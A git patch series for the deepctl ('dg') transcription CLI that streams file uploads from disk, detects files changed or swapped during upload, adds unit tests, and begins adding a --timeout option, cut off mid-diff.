 create mode 100644 packages/deepctl-cmd-listen/tests/unit/test_prerecorded_upload.py
 create mode 100644 packages/deepctl-core/src/deepctl_core/upload.py
 create mode 100644 packages/deepctl-core/tests/unit/test_upload.py

diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
index a1828a3d..73449218 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
@@ -27,6 +27,7 @@
     AuthManager,
     BaseCommand,
     BaseResult,
+    CodedErrorResult,
     Config,
     DeepgramClient,
 )
@@ -412,7 +413,7 @@ def handle(
         auth_manager: AuthManager,
         client: DeepgramClient,
         **kwargs: Any,
-    ) -> BaseResult | ListenCodedError:
+    ) -> BaseResult | CodedErrorResult:
         source: str | None = kwargs.get("source")
         use_mic: bool = kwargs.get("mic", False)
         guided_flow = False
@@ -697,7 +698,7 @@ def _prerecorded(
         no_validate: bool,
         caption_format: str | None,
         config: Config,
-    ) -> BaseResult:
+    ) -> BaseResult | CodedErrorResult:
         from deepctl_shared_utils import (
             probe_file,
             require_ffprobe,
@@ -707,6 +708,18 @@ def _prerecorded(
 
         source_kind = "url" if is_url else "file"
 
+        # The file validated (and probed) must be the file uploaded: its
+        # identity now, compared again once the upload opens it.
+        file_id: tuple[int, int] | None = None
+        if not is_url:
+            import os
+
+            try:
+                st = os.stat(source)
+                file_id = (st.st_dev, st.st_ino)
+            except OSError:
+                pass  # reported below (or by the upload, with --no-validate)
+
         # ── Validation ─────────────────────────────────────────────────
         if not no_validate:
             if is_url:
@@ -771,11 +784,15 @@ def _prerecorded(
         status.print(f"[dim]Transcribing[/dim] {source}")
         status.print(f"[dim]Model:[/dim] {model}  [dim]Language:[/dim] {language}")
 
+        from deepctl_core.upload import UploadFileError, coded_result
+
         try:
             if is_url:
                 result_dict = client.transcribe_url(source, options)
             else:
-                result_dict = client.transcribe_file(source, options)
+                result_dict = client.transcribe_file(source, options, file_id=file_id)
+        except UploadFileError as e:
+            return coded_result(e)
         except Exception as e:
             # Raise (not return an error result) so an API rejection — e.g. a
             # --redact value the v1 endpoint refuses — exits non-zero and is
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_prerecorded_upload.py b/packages/deepctl-cmd-listen/tests/unit/test_prerecorded_upload.py
new file mode 100644
index 00000000..b32751bf
--- /dev/null
+++ b/packages/deepctl-cmd-listen/tests/unit/test_prerecorded_upload.py
@@ -0,0 +1,95 @@
+"""``dg listen`` prerecorded uploads (W2.4): streamed file bodies."""
+
+from __future__ import annotations
+
+import os
+from typing import Any
+from unittest.mock import Mock
+
+import pytest
+from deepctl_cmd_listen.command import ListenCommand
+from deepctl_core import Config, output, transport, upload
+from deepctl_core.upload import UploadFileError
+
+
+@pytest.fixture(autouse=True)
+def _plain_output(monkeypatch):
+    monkeypatch.setitem(output._output_config, "agentic", False)
+    monkeypatch.setattr(transport, "prog", lambda: "dg")
+
+
+def _prerecorded(client, source="audio.wav", **overrides):
+    kwargs: dict[str, Any] = {
+        "is_url": False,
+        "model": "nova-3",
+        "language": "en-US",
+        "api_version": 1,
+        "diarize": False,
+        "smart_format": True,
+        "punctuate": True,
+        "summarize": False,
+        "topics": False,
+        "sentiment": False,
+        "redact": (),
+        "numerals": False,
+        "save_to": None,
+        "probe": False,
+        "no_validate": True,
+        "caption_format": None,
+        "config": Mock(spec=Config),
+    }
+    kwargs.update(overrides)
+    return ListenCommand()._prerecorded(client, source, **kwargs)
+
+
+def test_file_changed_returns_coded_error(capsys):
+    client = Mock()
+    client.transcribe_file.side_effect = UploadFileError(
+        upload.FILE_CHANGED, "audio.wav"
+    )
+    result = _prerecorded(client)
+    payload = result.model_dump()
+    assert payload["status"] == "error"
+    assert payload["code"] == "invalid_argument"
+    assert payload["error"] == "audio.wav changed while dg was uploading it."
+    assert payload["next_step"] is None
+    assert payload["details"] == {"path": "audio.wav"}
+    assert ListenCommand().exit_code_for(result) == 1
+    assert "changed while dg was uploading it" in capsys.readouterr().err
+
+
+def test_validated_file_identity_reaches_the_upload(tmp_path):
+    audio = tmp_path / "a.wav"
+    audio.write_bytes(b"RIFF" + b"\0" * 64)
+    st = audio.stat()
+    client = Mock()
+    client.transcribe_file.return_value = {"results": {"channels": []}}
+    _prerecorded(client, str(audio), no_validate=False)
+    assert client.transcribe_file.call_args.kwargs["file_id"] == (st.st_dev, st.st_ino)
+
+
+def test_path_swapped_during_validation_uploads_nothing(tmp_path, monkeypatch):
+    """The file validated is the file uploaded."""
+    import deepctl_shared_utils
+    from deepctl_core.client import DeepgramClient
+
+    audio = tmp_path / "a.wav"
+    audio.write_bytes(b"RIFF" + b"\0" * 64)
+    other = tmp_path / "other.wav"
+    other.write_bytes(b"RIFF" + b"\1" * 64)
+
+    def validate_then_swap(path):
+        os.replace(other, audio)  # someone swaps the path mid-validation
+        return True
+
+    monkeypatch.setattr(deepctl_shared_utils, "validate_audio_file", validate_then_swap)
+    client = Mock(spec=DeepgramClient)
+    client.transcribe_file.side_effect = lambda path, options, **kw: (
+        DeepgramClient.transcribe_file(client, path, options, **kw)
+    )
+    client._secrets = ()
+    result = _prerecorded(client, str(audio), no_validate=False)
+    payload = result.model_dump()
+    assert payload["code"] == "invalid_argument"
+    assert payload["error"] == f"{audio} changed while dg was uploading it."
+    client.client.listen.v1.media.transcribe_file.assert_not_called()
diff --git a/packages/deepctl-core/src/deepctl_core/client.py b/packages/deepctl-core/src/deepctl_core/client.py
index 19399c33..bbfb0d4a 100644
--- a/packages/deepctl-core/src/deepctl_core/client.py
+++ b/packages/deepctl-core/src/deepctl_core/client.py
@@ -202,8 +202,14 @@ def transcribe_file(
         self,
         file_path: str | Path,
         options: dict[str, Any] | None = None,
+        *,
+        file_id: tuple[int, int] | None = None,
     ) -> dict[str, Any]:
-        """Transcribe an audio file."""
+        """Transcribe an audio file.
+
+        ``file_id`` is ``(st_dev, st_ino)`` of the file the caller validated;
+        the upload stops if the path now names another file.
+        """
         file_path = Path(file_path)
         if not file_path.exists():
             raise FileNotFoundError(f"Audio file not found: {file_path}")
@@ -216,15 +222,22 @@ def transcribe_file(
         if options:
             default_options.update(options)
 
-        try:
-            with open(file_path, "rb") as audio_file:
-                audio_data = audio_file.read()
+        from .upload import FileBody, UploadFileError
 
-            response = self.client.listen.v1.media.transcribe_file(
-                request=audio_data, **default_options
-            )
+        try:
+            # Streamed from disk; the SDK resends the same body on a retry.
+            with FileBody(file_path, file_id=file_id) as body:
+                response = self.client.listen.v1.media.transcribe_file(
+                    request=body,
+                    request_options={
+                        "additional_headers": {"Content-Length": str(len(body))}
+                    },
+                    **default_options,
+                )
             return cast("dict[str, Any]", response.model_dump())
 
+        except UploadFileError:
+            raise
         except Exception as e:
             transport.raise_for(e, self._secrets)
             raise self._failed("Transcription failed", e)
diff --git a/packages/deepctl-core/src/deepctl_core/upload.py b/packages/deepctl-core/src/deepctl_core/upload.py
new file mode 100644
index 00000000..7ad3e2e0
--- /dev/null
+++ b/packages/deepctl-core/src/deepctl_core/upload.py
@@ -0,0 +1,210 @@
+"""Request bodies read from disk while they are sent.
+
+:class:`FileBody` streams a local file to the SDK in 1 MiB chunks instead of
+reading it into memory. It opens the file once and keeps the descriptor:
+every pass over the body reads from offset 0 of that descriptor, so the
+SDK's retries (it sends the same content object again) resend the same
+file, and a file swapped in at the path between retries is never sent.
+
+Before each chunk the descriptor's size and mtime are compared with the
+values at open. A change raises :class:`UploadFileError`
+(``E-UPLOAD-FILE-CHANGED``); a failed read raises it with
+``E-UPLOAD-FILE-UNREADABLE``. Both are ``invalid_argument``: the user fixes
+the input. :func:`coded_result` reports one the way a transport error is
+reported.
+"""
+
+from __future__ import annotations
+
+import os
+import stat
+from typing import TYPE_CHECKING, cast
+
+if TYPE_CHECKING:
+    from collections.abc import Iterator
+    from pathlib import Path
+
+    from .models import CodedErrorResult
+
+CHUNK_SIZE = 1 << 20
+
+# ── Catalogue text (error_codes.json "strings") ──────────────────────
+
+STRINGS: dict[str, str] = {
+    "E-UPLOAD-FILE-CHANGED": "{path} changed while {prog} was uploading it.",
+    "H-UPLOAD-FILE-CHANGED": (
+        "Wait until the file is completely written, then try again."
+    ),
+    "A-UPLOAD-FILE-CHANGED": (
+        "The file was still being written. Wait for it to finish, then retry once."
+    ),
+    "E-UPLOAD-FILE-UNREADABLE": "Couldn't read {path}: {os_error}.",
+    "H-UPLOAD-FILE-UNREADABLE": (
+        "Check that the file still exists and is readable, then try again."
+    ),
+}
+
+# (error message ID, human hint, agent hint)
+Messages = tuple[str, str, str]
+FILE_CHANGED: Messages = (
+    "E-UPLOAD-FILE-CHANGED",
+    "H-UPLOAD-FILE-CHANGED",
+    "A-UPLOAD-FILE-CHANGED",
+)
+FILE_UNREADABLE: Messages = (
+    "E-UPLOAD-FILE-UNREADABLE",
+    "H-UPLOAD-FILE-UNREADABLE",
+    "H-UPLOAD-FILE-UNREADABLE",
+)
+
+
+class UploadFileError(Exception):
+    """The file being uploaded changed, or couldn't be read."""
+
+    code = "invalid_argument"
+
+    def __init__(
+        self, messages: Messages, path: str, os_error: OSError | None = None
+    ) -> None:
+        from .transport import _clean
+
+        self.messages = messages
+        self.path = _clean(path)
+        self.values: dict[str, str] = {"path": self.path}
+        if os_error is not None:
+            reason = os_error.strerror or type(os_error).__name__
+            self.values["os_error"] = _clean(reason)
+        super().__init__(STRINGS[messages[0]].format(prog="dg", **self.values))
+
+
+class FileBody:
+    """A local file as a re-iterable request body with a known length.
+
+    Give it to the SDK as ``request=`` with a ``Content-Length`` header of
+    ``len(body)``; httpx then sends no ``Transfer-Encoding: chunked``. Use
+    it as a context manager, or call :meth:`close`, to close the descriptor.
+    It has no ``read`` method on purpose: httpx would read it once, as a
+    file, and a retry would send nothing.
+    """
+
+    def __init__(
+        self, path: str | Path, *, file_id: tuple[int, int] | None = None
+    ) -> None:
+        """Open ``path``.
+
+        ``file_id`` is ``(st_dev, st_ino)`` from a stat taken when the path
+        was validated: if the path now names another file, the upload stops
+        with ``E-UPLOAD-FILE-CHANGED`` before anything is sent.
+        """
+        self.path = os.fspath(path)
+        self._data: bytes | None = None
+        try:
+            self._fd: int | None = os.open(
+                self.path, os.O_RDONLY | getattr(os, "O_BINARY", 0)
+            )
+        except OSError as e:
+            raise UploadFileError(FILE_UNREADABLE, self.path, e) from e
+        try:
+            st = os.fstat(self._fd)
+            if file_id is not None and (st.st_dev, st.st_ino) != file_id:
+                self.close()
+                raise UploadFileError(FILE_CHANGED, self.path)
+            if not stat.S_ISREG(st.st_mode):
+                # A pipe or device (``<(...)``) can be read only once: keep
+                # its bytes, as 0.4 did, so a retry can resend them.
+                self._data = self._read_all()
+                self._size = len(self._data)
+                self.close()
+                return
+        except OSError as e:
+            self.close()
+            raise UploadFileError(FILE_UNREADABLE, self.path, e) from e
+        self._size = st.st_size
+        self._stamp = (st.st_size, st.st_mtime_ns)
+
+    def __len__(self) -> int:
+        return self._size
+
+    def __iter__(self) -> Iterator[bytes]:
+        if self._data is not None:
+            return iter((self._data,))
+        return self._chunks()
+
+    def __enter__(self) -> FileBody:
+        return self
+
+    def __exit__(self, *exc: object) -> None:
+        self.close()
+
+    def close(self) -> None:
+        fd, self._fd = self._fd, None
+        if fd is not None:
+            os.close(fd)
+
+    def _chunks(self) -> Iterator[bytes]:
+        offset = 0
+        while offset < self._size:
+            self._check()
+            data = self._pread(min(CHUNK_SIZE, self._size - offset), offset)
+            if not data:  # shorter than at open
+                raise UploadFileError(FILE_CHANGED, self.path)
+            yield data
+            offset += len(data)
+        self._check()
+
+    def _check(self) -> None:
+        if self._fd is None:
+            raise UploadFileError(
+                FILE_UNREADABLE, self.path, OSError(9, os.strerror(9))
+            )
+        try:
+            st = os.fstat(self._fd)
+        except OSError as e:
+            raise UploadFileError(FILE_UNREADABLE, self.path, e) from e
+        if (st.st_size, st.st_mtime_ns) != self._stamp:
+            raise UploadFileError(FILE_CHANGED, self.path)
+
+    def _pread(self, size: int, offset: int) -> bytes:
+        assert self._fd is not None
+        try:
+            if hasattr(os, "pread"):
+                return os.pread(self._fd, size, offset)
+            # Windows has no pread; one pass reads at a time.
+            os.lseek(self._fd, offset, os.SEEK_SET)
+            return os.read(self._fd, size)
+        except OSError as e:
+            raise UploadFileError(FILE_UNREADABLE, self.path, e) from e
+
+    def _read_all(self) -> bytes:
+        assert self._fd is not None
+        parts = []
+        while chunk := os.read(self._fd, CHUNK_SIZE):
+            parts.append(chunk)
+        return b"".join(parts)
+
+
+def coded_result(err: UploadFileError) -> CodedErrorResult:
+    """Report ``err`` on stderr (two lines) and return its coded result.
+
+    The same shape as a transport error, with ``next_step`` null: no
+    command fixes a file that is still being written.
+    """
+    from rich.markup import escape
+
+    from . import output, transport
+
+    program = transport.prog()
+    values = {**err.values, "prog": program or "dg"}
+    agentic = bool(output._output_config["agentic"])
+    error = STRINGS[err.messages[0]].format(**values)
+    hint = STRINGS[err.messages[2 if agentic else 1]].format(**values)
+    output.print_error(escape(error))
+    output.print_hint(escape(hint))
+    result = transport.result_class()(
+        error=error,
+        code=err.code,
+        hint=hint,
+        next_step=None,
+        details={"path": err.path},
+    )
+    return cast("CodedErrorResult", result)
diff --git a/packages/deepctl-core/tests/unit/test_client.py b/packages/deepctl-core/tests/unit/test_client.py
index 17be91d2..c6bfeb68 100644
--- a/packages/deepctl-core/tests/unit/test_client.py
+++ b/packages/deepctl-core/tests/unit/test_client.py
@@ -1,7 +1,7 @@
 """Tests for the DeepgramClient class."""
 
 from pathlib import Path
-from unittest.mock import MagicMock, Mock, mock_open, patch
+from unittest.mock import MagicMock, Mock, patch
 
 import pytest
 from deepctl_core import transport
@@ -176,12 +176,10 @@ def test_create_client_error_handling(
             client._create_client()
 
     @patch("deepctl_core.client.DGClient")
-    @patch("deepctl_core.client.Path.exists")
-    @patch("builtins.open", new_callable=mock_open, read_data=b"audio data")
-    def test_transcribe_file(self, mock_file, mock_exists, mock_dg_client, client):
+    def test_transcribe_file(self, mock_dg_client, client, tmp_path):
         """Test transcribing a file."""
-        # Setup mocks
-        mock_exists.return_value = True
+        audio = tmp_path / "test.mp3"
+        audio.write_bytes(b"audio data")
         mock_instance = Mock()
         mock_media = Mock()
         mock_data = {"transcript": "Hello world"}
@@ -191,13 +189,18 @@ def test_transcribe_file(self, mock_file, mock_exists, mock_dg_client, client):
 
         # Test transcription
         result = client.transcribe_file(
-            "/audio/test.mp3", options={"model": "nova-2", "language": "en"}
+            audio, options={"model": "nova-2", "language": "en"}
         )
 
         assert result == {"transcript": "Hello world"}
 
-        # Verify transcribe_file was called
+        # Verify transcribe_file was called with a streamed body
         mock_media.transcribe_file.assert_called_once()
+        kwargs = mock_media.transcribe_file.call_args.kwargs
+        assert kwargs["request_options"] == {
+            "additional_headers": {"Content-Length": "10"}
+        }
+        assert kwargs["model"] == "nova-2"
 
     @patch("deepctl_core.client.DGClient")
     def test_transcribe_url(self, mock_dg_client, client):
diff --git a/packages/deepctl-core/tests/unit/test_upload.py b/packages/deepctl-core/tests/unit/test_upload.py
new file mode 100644
index 00000000..821ec303
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_upload.py
@@ -0,0 +1,359 @@
+"""Prerecorded uploads streamed from disk.
+
+``FileBody`` on its own, then through the real SDK facade on an
+``httpx.MockTransport``: the request carries ``Content-Length`` and no
+chunked encoding, the SDK's retries resend the whole file, and a file that
+changes or can't be read mid-upload maps to the ``E-UPLOAD-*`` messages.
+"""
+
+from __future__ import annotations
+
+import errno
+import json
+import os
+import sys
+import threading
+from pathlib import Path
+
+import httpx
+import pytest
+from deepctl_core import hosts, output, transport, upload
+from deepctl_core.auth import AuthManager
+from deepctl_core.client import DeepgramClient
+from deepctl_core.config import Config
+from deepctl_core.upload import FileBody, UploadFileError
+
+KEY = "sk-URLSENTINELKEY"
+MIB = 1 << 20
+
+
+@pytest.fixture(autouse=True)
+def _isolated(tmp_path, monkeypatch):
+    monkeypatch.chdir(tmp_path)
+    monkeypatch.setattr(
+        "deepctl_core.config._default_config_file",
+        lambda: tmp_path / "user" / "config.yaml",
+    )
+    monkeypatch.setattr(
+        "deepctl_core.config._trust_root_location",
+        lambda: (tmp_path, tmp_path / "user" / "config.yaml"),
+    )
+    monkeypatch.setattr(hosts, "_reported", set())
+    monkeypatch.setattr(transport, "_client", None)
+    monkeypatch.setattr(transport, "prog", lambda: "dg")
+    monkeypatch.setitem(output._output_config, "agentic", False)
+    monkeypatch.setattr(output.stderr_console, "_width", 400)
+    from deepctl_core import auth as auth_module
+
+    monkeypatch.setattr(auth_module.keyring, "get_password", lambda *a: None)
+    import deepgram.core.http_client as sdk_http
+
+    monkeypatch.setattr(sdk_http.time, "sleep", lambda s: None)
+    monkeypatch.setenv("DEEPGRAM_API_KEY", KEY)
+
+
+def _audio(tmp_path: Path, size: int, name: str = "a.wav") -> Path:
+    path = tmp_path / name
+    path.write_bytes(bytes(i % 251 for i in range(size)))
+    return path
+
+
+def facade(handler) -> tuple[DeepgramClient, list[tuple[httpx.Request, bytes]]]:
+    seen: list[tuple[httpx.Request, bytes]] = []
+
+    def record(request: httpx.Request) -> httpx.Response:
+        seen.append((request, request.read()))
+        return handler(request)
+
+    transport._set_client(
+        httpx.Client(transport=httpx.MockTransport(record), follow_redirects=True)
+    )
+    config = Config(config_path=str(Path.cwd() / "none.yaml"))
+    return DeepgramClient(config, AuthManager(config)), seen
+
+
+def ok(request: httpx.Request) -> httpx.Response:
+    return httpx.Response(200, json={"metadata": {}, "results": {}})
+
+
+# ── FileBody ─────────────────────────────────────────────────────────
+
+
+def test_reads_in_1_mib_chunks_and_reiterates(tmp_path):
+    path = _audio(tmp_path, 2 * MIB + 5)
+    with FileBody(path) as body:
+        assert len(body) == 2 * MIB + 5
+        first = list(body)
+        assert [len(c) for c in first] == [MIB, MIB, 5]
+        assert b"".join(body) == path.read_bytes()
+
+
+def test_a_retry_sends_the_file_opened_not_the_one_at_the_path(tmp_path):
+    path = _audio(tmp_path, 3000)
+    original = path.read_bytes()
+    with FileBody(path) as body:
+        assert b"".join(body) == original
+        swap = tmp_path / "swap.wav"
+        swap.write_bytes(b"x" * 3000)
+        os.replace(swap, path)  # a new file at the same path
+        assert b"".join(body) == original
+
+
+def test_file_changed_mid_read(tmp_path):
+    path = _audio(tmp_path, 2 * MIB)
+    with FileBody(path) as body:
+        chunks = iter(body)
+        next(chunks)
+        os.truncate(path, MIB // 2)
+        with pytest.raises(UploadFileError) as err:
+            next(chunks)
+    assert err.value.messages == upload.FILE_CHANGED
+    assert err.value.values == {"path": str(path)}
+
+
+def test_file_grown_after_the_last_chunk(tmp_path):
+    path = _audio(tmp_path, 10)
+    with FileBody(path) as body:
+        chunks = iter(body)
+        next(chunks)
+        with path.open("ab") as f:
+            f.write(b"more")
+        with pytest.raises(UploadFileError) as err:
+            next(chunks)
+    assert err.value.messages == upload.FILE_CHANGED
+
+
+def test_read_error_is_unreadable(tmp_path, monkeypatch):
+    path = _audio(tmp_path, 10)
+
+    def eio(*args):
+        raise OSError(errno.EIO, os.strerror(errno.EIO))
+
+    with FileBody(path) as body:
+        monkeypatch.setattr(os, "pread", eio, raising=False)
+        with pytest.raises(UploadFileError) as err:
+            list(body)
+    assert err.value.messages == upload.FILE_UNREADABLE
+    assert err.value.values["os_error"] == os.strerror(errno.EIO)
+
+
+def test_missing_file_is_unreadable(tmp_path):
+    with pytest.raises(UploadFileError) as err:
+        FileBody(tmp_path / "gone.wav")
+    assert err.value.messages == upload.FILE_UNREADABLE
+    assert err.value.values["os_error"] == os.strerror(errno.ENOENT)
+
+
+@pytest.mark.skipif(not hasattr(os, "mkfifo"), reason="needs a FIFO")
+def test_a_pipe_is_read_once_and_kept(tmp_path):
+    fifo = tmp_path / "audio.fifo"
+    os.mkfifo(fifo)
+    writer = threading.Thread(target=lambda: fifo.write_bytes(b"piped audio"))
+    writer.start()
+    with FileBody(fifo) as body:
+        writer.join()
+        assert len(body) == 11
+        assert b"".join(body) == b"piped audio"
+        assert b"".join(body) == b"piped audio"
+
+
+def _file_id(path: Path) -> tuple[int, int]:
+    st = os.stat(path)
+    return (st.st_dev, st.st_ino)
+
+
+def test_same_file_as_validated_is_uploaded(tmp_path):
+    path = _audio(tmp_path, 10)
+    with FileBody(path, file_id=_file_id(path)) as body:
+        assert b"".join(body) == path.read_bytes()
+
+
+def test_path_swapped_after_validation_is_changed(tmp_path):
+    validated = _audio(tmp_path, 10, "validated.wav")
+    other = _audio(tmp_path, 10, "other.wav")
+    link = tmp_path / "x.wav"
+    try:
+        link.symlink_to(validated)
+    except OSError:
+        pytest.skip("symlinks not available")
+    file_id = _file_id(link)
+    link.unlink()
+    link.symlink_to(other)  # swapped between validation and upload
+    with pytest.raises(UploadFileError) as err:
+        FileBody(link, file_id=file_id)
+    assert err.value.messages == upload.FILE_CHANGED
+
+
+def test_close_releases_the_descriptor(tmp_path):
+    body = FileBody(_audio(tmp_path, 10))
+    fd = body._fd
+    body.close()
+    body.close()
+    with pytest.raises(OSError):
+        os.fstat(fd)
+
+
+def test_path_in_the_message_is_cleaned(tmp_path):
+    err = UploadFileError(upload.FILE_CHANGED, "/tmp/a\x1b[31m.wav")
+    assert "\x1b" not in err.values["path"]
+
+
+# ── Through the SDK ──────────────────────────────────────────────────
+
+
+def test_upload_has_content_length_and_no_chunked_encoding(tmp_path):
+    path = _audio(tmp_path, MIB + 7)
+    client, seen = facade(ok)
+    client.transcribe_file(path)
+    ((request, body),) = seen
+    assert request.headers["Content-Length"] == str(MIB + 7)
+    assert "Transfer-Encoding" not in request.headers
+    assert body == path.read_bytes()
+
+
+def refused(request: httpx.Request) -> httpx.Response:
+    raise httpx.ConnectError("refused", request=request)
+
+
+def busy(request: httpx.Request) -> httpx.Response:
+    return httpx.Response(503, json={"err_msg": "busy"})
+
+
+@pytest.mark.parametrize("first", [refused, busy], ids=["connect", "503"])
+def test_sdk_retry_resends_the_whole_file(tmp_path, first):
+    path = _audio(tmp_path, 2 * MIB + 3)
+    calls = []
+
+    def handler(request):
+        calls.append(1)
+        return first(request) if len(calls) == 1 else ok(request)
+
+    client, seen = facade(handler)
+    client.transcribe_file(path)
+    assert len(seen) == 2
+    assert [len(body) for _, body in seen] == [2 * MIB + 3] * 2
+    assert seen[1][1] == path.read_bytes()
+
+
+def test_swapped_path_sends_nothing(tmp_path):
+    validated = _audio(tmp_path, 10, "validated.wav")
+    file_id = _file_id(validated)
+    os.replace(_audio(tmp_path, 10, "other.wav"), validated)
+    client, seen = facade(ok)
+    with pytest.raises(UploadFileError) as err:
+        client.transcribe_file(validated, file_id=file_id)
+    assert err.value.messages == upload.FILE_CHANGED
+    assert seen == []
+
+
+def _changing_pread(path: Path, monkeypatch, action):
+    real = os.pread if hasattr(os, "pread") else None
+    calls = []
+
+    def pread(fd, size, offset):
+        calls.append(offset)
+        if len(calls) == 2:
+            action(path)
+        if real is not None:
+            return real(fd, size, offset)
+        os.lseek(fd, offset, os.SEEK_SET)
+        return os.read(fd, size)
+
+    monkeypatch.setattr(os, "pread", pread, raising=False)
+
+
+def test_file_changed_during_upload_maps_to_upload_changed(tmp_path, monkeypatch):
+    path = _audio(tmp_path, 3 * MIB)
+    client, seen = facade(ok)
+    _changing_pread(path, monkeypatch, lambda p: os.truncate(p, MIB))
+    with pytest.raises(UploadFileError) as err:
+        client.transcribe_file(path)
+    assert err.value.messages == upload.FILE_CHANGED
+    assert str(err.value) == f"{path} changed while dg was uploading it."
+    assert seen == []  # the request never completed
+
+
+def test_read_error_during_upload_maps_to_upload_unreadable(tmp_path, monkeypatch):
+    path = _audio(tmp_path, 3 * MIB)
+    client, _ = facade(ok)
+    real = getattr(os, "pread", None)
+    calls = []
+
+    def pread(fd, size, offset):
+        calls.append(offset)
+        if len(calls) == 2:
+            raise OSError(errno.EIO, os.strerror(errno.EIO))
+        return real(fd, size, offset) if real else os.read(fd, size)
+
+    monkeypatch.setattr(os, "pread", pread, raising=False)
+    with pytest.raises(UploadFileError) as err:
+        client.transcribe_file(path)
+    assert err.value.messages == upload.FILE_UNREADABLE
+    assert str(err.value) == f"Couldn't read {path}: {os.strerror(errno.EIO)}."
+
+
+# ── The coded result ─────────────────────────────────────────────────
+
+
+@pytest.mark.parametrize("agentic", [False, True])
+def test_coded_result(agentic, monkeypatch, capsys):
+    monkeypatch.setitem(output._output_config, "agentic", agentic)
+    err = UploadFileError(upload.FILE_CHANGED, "/data/call.wav")
+    payload = upload.coded_result(err).model_dump()
+    hint = upload.STRINGS[
+        "A-UPLOAD-FILE-CHANGED" if agentic else "H-UPLOAD-FILE-CHANGED"
+    ]
+    assert payload == {
+        "error": "/data/call.wav changed while dg was uploading it.",
+        "status": "error",
+        "code": "invalid_argument",
+        "hint": hint,
+        "next_step": None,
+        "schema_version": 1,
+        "details": {"path": "/data/call.wav"},
+    }
+    err_lines = capsys.readouterr().err
+    assert "/data/call.wav changed while dg was uploading it." in err_lines
+    assert hint in err_lines
+
+
+def test_unreadable_uses_the_human_hint_for_agents(monkeypatch, capsys):
+    monkeypatch.setitem(output._output_config, "agentic", True)
+    err = UploadFileError(
+        upload.FILE_UNREADABLE, "/x.wav", OSError(errno.EACCES, "Permission denied")
+    )
+    payload = upload.coded_result(err).model_dump()
+    assert payload["error"] == "Couldn't read /x.wav: Permission denied."
+    assert payload["hint"] == upload.STRINGS["H-UPLOAD-FILE-UNREADABLE"]
+    assert payload["next_step"] is None
+
+
+@pytest.mark.skipif(
+    not os.environ.get("DG_ERROR_CODES_JSON"),
+    reason="DG_ERROR_CODES_JSON names no error catalogue file",
+)
+def test_strings_match_catalogue():
+    catalogue = json.loads(Path(os.environ["DG_ERROR_CODES_JSON"]).read_text())
+    for message_id, text in upload.STRINGS.items():
+        assert catalogue["strings"][message_id] == text, message_id
+    entry = catalogue["codes"]["invalid_argument"]
+    assert "path" in entry["details"]
+    for error_id, human, agent in (upload.FILE_CHANGED, upload.FILE_UNREADABLE):
+        message = next(m for m in entry["messages"] if m["id"] == error_id)
+        assert (message["hint_human"], message["hint_agent"]) == (human, agent)
+        assert entry["next_step_overrides"][error_id] is None
+
+
+def test_no_module_level_import_cost():
+    """``deepctl_core.upload`` loads nothing heavier than ``os``."""
+    code = (
+        "import sys, deepctl_core.upload; "
+        "print(sorted(m for m in ('httpx', 'pydantic', 'rich', 'deepgram') "
+        "if m in sys.modules))"
+    )
+    import subprocess
+
+    out = subprocess.run(
+        [sys.executable, "-c", code], capture_output=True, text=True, check=True
+    )
+    assert out.stdout.strip() == "[]"

From ecba2154b0d4a2caa8c09fdbd8f352000a10cce8 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 18:28:31 -0400
Subject: [PATCH 24/88] feat(listen): add --timeout for prerecorded
 transcription

A prerecorded request used the shared client's 60 s timeout, so a large
file, or a server that takes longer than a minute to answer, failed
with a timeout even though the upload was fine.

- dg listen <file|URL> --timeout SECONDS (at least 1, default 300) sets
  the request's timeout through the SDK's request_options. Every other
  command keeps 60 s.
- E-TIMEOUT's details.timeout_s, and the "didn't respond within" text,
  report the effective value: transport.map_exception and raise_for
  take a keyword-only timeout_s.
- --timeout with --mic, - or piped stdin is a usage error; live streams
  have no request timeout.
---
 .../src/deepctl_cmd_listen/command.py         | 31 ++++++-
 .../tests/unit/test_prerecorded_upload.py     | 87 ++++++++++++++++++-
 .../deepctl-core/src/deepctl_core/client.py   | 39 ++++++---
 .../src/deepctl_core/transport.py             | 24 +++--
 .../deepctl-core/tests/unit/test_upload.py    | 51 ++++++++++-
 src/deepctl/_manifest.d/listen.json           | 26 ++++++
 src/deepctl/_manifest.d/transcribe.json       | 26 ++++++
 7 files changed, 262 insertions(+), 22 deletions(-)

diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
index 73449218..7ac3ecad 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
@@ -78,6 +78,11 @@
 # vocabulary ("pci", "ssn", …) earns an opaque HTTP 400 from the v2 endpoint.
 _FLUX_REDACT = ("numbers", "aggressive_numbers")
 
+# --timeout's default: a large file can take minutes to upload and process.
+_PRERECORDED_TIMEOUT_S = 300.0
+# One instance, so `dg transcribe` (an alias) has equal arguments.
+_TIMEOUT_TYPE = click.FloatRange(min=1)
+
 
 def _is_url(s: str) -> bool:
     return s.startswith(("http://", "https://"))
@@ -360,6 +365,16 @@ def get_arguments(self) -> list[dict[str, Any]]:
                 "is_flag": True,
                 "is_option": True,
             },
+            {
+                "names": ["--timeout"],
+                "help": (
+                    "Seconds to wait at each step (connecting, sending, the "
+                    "response) before giving up. Not a limit on the whole run. "
+                    "Default: 300. Files and URLs only."
+                ),
+                "type": _TIMEOUT_TYPE,
+                "is_option": True,
+            },
             # ── Caption output ────────────────────────────────────────
             {
                 "names": ["--webvtt"],
@@ -496,6 +511,11 @@ def handle(
         save_to = kwargs.get("save_to")
         probe = kwargs.get("probe", False)
         no_validate = kwargs.get("no_validate", False)
+        timeout: float | None = kwargs.get("timeout")
+        if timeout is not None and mode in ("stream_mic", "stream_stdin"):
+            raise click.UsageError(
+                "--timeout applies only to a file or URL source, not to --mic or stdin."
+            )
 
         # Flux STT (listen v2) is streaming-only — there is no v2 pre-recorded
         # REST endpoint, so a file/URL routes to /v1/listen and the server
@@ -567,6 +587,7 @@ def handle(
                 no_validate=no_validate,
                 caption_format=caption_format,
                 config=config,
